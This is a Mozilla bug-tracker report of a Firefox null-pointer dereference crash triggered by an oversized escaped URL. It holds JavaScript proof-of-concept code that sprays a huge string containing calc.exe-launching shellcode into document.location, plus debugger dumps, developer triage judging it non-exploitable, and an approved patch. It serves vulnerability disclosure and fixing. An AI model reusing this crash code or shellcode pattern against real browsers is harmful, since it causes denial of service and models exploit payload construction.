Firefox pointer dereference

RESOLVED FIXED in mozilla2.0b8



8 years ago
8 years ago


(Reporter: info, Assigned: mats)




Firefox Tracking Flags

(status1.9.2 .14-fixed, status1.9.1 .17-fixed)


(Whiteboard: [sg:dos] safe null-pointer read)


(2 attachments)



8 years ago
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv: Gecko/20101026
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv: Gecko/20101026

A (NULL) pointer derefence was discovered in Firefox, by creating a huge escaped Unicode string and pass it to the address bar. The string length is determined, copied into memory and a wrong pointer results in a NULL being passed as argument and dereferenced leading to a segmentation fault, and eventually crashes the Firefox application because of it.

Vulnerability: Memory access violation.
Problem: (NULL) pointer derefence, leads to segmentation fault.
Serverity: Medium.
Image: MOZCRT19.dll
Procedure: MOZCRT19 strlen(unsigned char * buf = <Memory access error>)+0x30
Code execution: Unlikely.
Expected: Fix pointer in code, and/or trap exception.




var poison  = '';

var header = unescape("%u5050%u5050");

// Path to calc.exe on WINXP SP3, for testing only.
// can be filled with any random chars.

var shellcode = unescape(

	+ "%u250d%u7c86%ud3ff"
	+ "%uc031%ubb50%ucb12"
	+ "%u7c81%ud3ff%ue5e8"
	+ "%uffff%u63ff%u6c61"
	+ "%u2e63%u7865%u0065");

	while (header.length < (shellcode.length+41)) { header += header };

	for(i=0;i<999999;i++) {
		poison += header;
		poison += shellcode;

document.location = 'http://' + header + poison;



Call stack of main thread

Address    Procedure / arguments                 Called from 
0012DF88   <JMP.&MOZCRT19.strlen>                xul.10341904
0012DF8C     s = NULL				 ; passed argument NULL!
0012DFF8   xul.100A19C0                          xul.100845EA
0012E008   xul.100845DD                          xul.106471CF
0012E00C     Arg1 = 00000000
0012E010     Arg2 = FFFFFFFF

10341904   8 3350FBFF    CALL <JMP.&MOZCRT19.strlen>              ; \strlen s=NULL
0012E00C     Arg1 = 00000000


102F6910 >/$ 56             PUSH ESI
102F6911  |. 8B7424 0C      MOV ESI,DWORD PTR SS:[ESP+C]
102F6915  |. 83FE 01        CMP ESI,1
102F6918  |. 75 05          JNZ SHORT xul.102F691F
102F691A  |. E8 D10A0000    CALL xul.102F73F0
102F691F  |> 8B4424 08      MOV EAX,DWORD PTR SS:[ESP+8]
102F6923  |. 8B4C24 10      MOV ECX,DWORD PTR SS:[ESP+10]
102F6927  |. 50             PUSH EAX
102F6928  |. 8BD6           MOV EDX,ESI
102F692A  |. E8 71FEFFFF    CALL xul.102F67A0
102F692F  |. 83C4 04        ADD ESP,4
102F6932  |. 5E             POP ESI
102F6933  \. C2 0C00        RETN 0C
102F6936   $-FF25 5C268310  JMP DWORD PTR DS:[<&MOZCRT19.??_V@YAXPAX>;  MOZCRT19.??_V@YAXPAX@Z
102F693C   $-FF25 60268310  JMP DWORD PTR DS:[<&MOZCRT19.strlen>]    ;  MOZCRT19.strlen
102F6942   $-FF25 68268310  JMP DWORD PTR DS:[<&MOZCRT19.memcpy>]    ;  MOZCRT19.memcpy
102F6948   $-FF25 70268310  JMP DWORD PTR DS:[<&MOZCRT19.strcmp>]    ;  MOZCRT19.strcmp
102F694E   $-FF25 74268310  JMP DWORD PTR DS:[<&MOZCRT19.??_U@YAPAXI>;  MOZCRT19.??_U@YAPAXI@Z
102F6954   $-FF25 84268310  JMP DWORD PTR DS:[<&MOZCRT19.__iob_func>>;  MOZCRT19.__p__iob
102F695A   $-FF25 9C268310  JMP DWORD PTR DS:[<&>]      ;
102F6960   $-FF25 A0268310  JMP DWORD PTR DS:[<&MOZCRT19.strchr>]    ;  MOZCRT19.strchr
102F6966   $-FF25 E4268310  JMP DWORD PTR DS:[<&MOZCRT19.strcpy>]    ;  MOZCRT19.strcpy
102F696C   $-FF25 FC268310  JMP DWORD PTR DS:[<&MOZCRT19.strncmp>]   ;  MOZCRT19.strncmp
102F6972   $-FF25 00278310  JMP DWORD PTR DS:[<&MOZCRT19.fprintf>]   ;  MOZCRT19.fprintf
102F6978   .-FF25 14278310  JMP DWORD PTR DS:[<&MOZCRT19.?what@excep>;  MOZCRT19.?what@exception@std@@UBEPBDXZ
102F697E   .-FF25 2C278310  JMP DWORD PTR DS:[<&MOZCRT19.??0exceptio>;  MOZCRT19.??0exception@std@@QAE@ABV01@@Z
102F6984     CC             INT3


EAX 3BC06466
ECX 00000000
EDX 0000001F
EBX 00000000
ESP 0012DF88
EBP 0000001F
EDI 0012E0D4
EIP 78150580 MOZCRT19.78150580
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00210246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty 318.00000000000000000
ST1 empty 0.0
ST2 empty 1.0000000000000000000
ST3 empty 0.0
ST4 empty 0.0
ST5 empty 1.0000000000000000000
ST6 empty 0.0
ST7 empty 2152398878.0000000000
               3 2 1 0      E S P U O Z D I
FST 4020  Cond 1 0 0 0  Err 0 0 1 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1


0012df84 10341909 MOZCRT19!strlen(unsigned char * buf = <Memory access error>)+0x30 

intel\strlen.asm @ 81]

; passing a NULL!


78150580 8b01       mov     eax,dword ptr [ecx]


EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 78150580 (MOZCRT19!strlen+0x00000030)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00000000
Attempt to read from address 00000000


Message=[06:54:28] Access violation when reading [00000000]


Reproducible: Always

Steps to Reproduce:
1. Run attached code
2. sit still
3. ...
Actual Results:  

Expected Results:  
Raised exception.

Fix pointer, exception trap.

Comment 1

8 years ago
Created attachment 493203 [details]
Test code
Summary: Firefox pointer derefence → Firefox pointer dereference
Marking security-sensitive for now in order to make sure triage is done properly.
Group: core-security
Keywords: crash

Comment 3

8 years ago
This is a non-exploitable null-pointer crash;  we're doing strlen(NULL)
in ReplaceASCII() here:

The root of the problem is in nsDocShell::LoadErrorPage()
which tries to build a new URL based on the content page url and
a few other parameters.  The page url is string near maximum (2GB).
nsEscape() returns NULL on OOM.  AppendASCII(NULL) leads to strlen(NULL).

I have a fix for this, just want to make sure it doesn't lead to new
Component: Security → History: Global
OS: Windows XP → All
Product: Firefox → Core
QA Contact: firefox →
Hardware: x86 → All
Whiteboard: [sg:dos] safe null-pointer read


8 years ago
Assignee: nobody → matspal
Component: History: Global → Document Navigation
Ever confirmed: true
QA Contact: → docshell

Comment 4

8 years ago
BTW, the "slow script" dialog comes up with a clean profile for me
on both Linux and WinXP.
Sasha, did you get that dialog?

Comment 5

8 years ago
Created attachment 493324 [details] [diff] [review]
Patch rev. 1

Patch is against 1.9.2, but it also applies to mozilla-central and 1.9.1.
Attachment #493324 - Flags: review?(Olli.Pettay)

Comment 6

8 years ago
Hi Mats,

I did not get the dialog. I got a dialog on MSIE 7,8 in emulation mode but not on Firefox. But this can be circumvented by making smaller loops and concatenate them if it actually does happen.

I tried to find some more information about MOZCRT19.dll, but could not find anything. So it was a wild guess what was actually happening. Good to see the root of the problem, clarifies a lot.
Attachment #493324 - Flags: review?(Olli.Pettay) → review+

Comment 7

8 years ago
smaug: the #undef is just to avoid a (future) name clash.  I'll take it out
if you think it's unnecessary.


8 years ago
Attachment #493324 - Flags: approval2.0?


8 years ago
status1.9.1: --- → ?
status1.9.2: --- → ?

Comment 8

8 years ago
Last Resolved: 8 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla2.0b8


8 years ago
Attachment #493324 - Flags: approval1.9.2.14?
Attachment #493324 - Flags: approval1.9.1.17?
Comment on attachment 493324 [details] [diff] [review]
Patch rev. 1

Approved for and, a=dveditz for release-drivers
Attachment #493324 - Flags: approval1.9.2.14?
Attachment #493324 - Flags: approval1.9.2.14+
Attachment #493324 - Flags: approval1.9.1.17?
Attachment #493324 - Flags: approval1.9.1.17+
Group: core-security
You need to log in before you can comment on or make changes to this bug.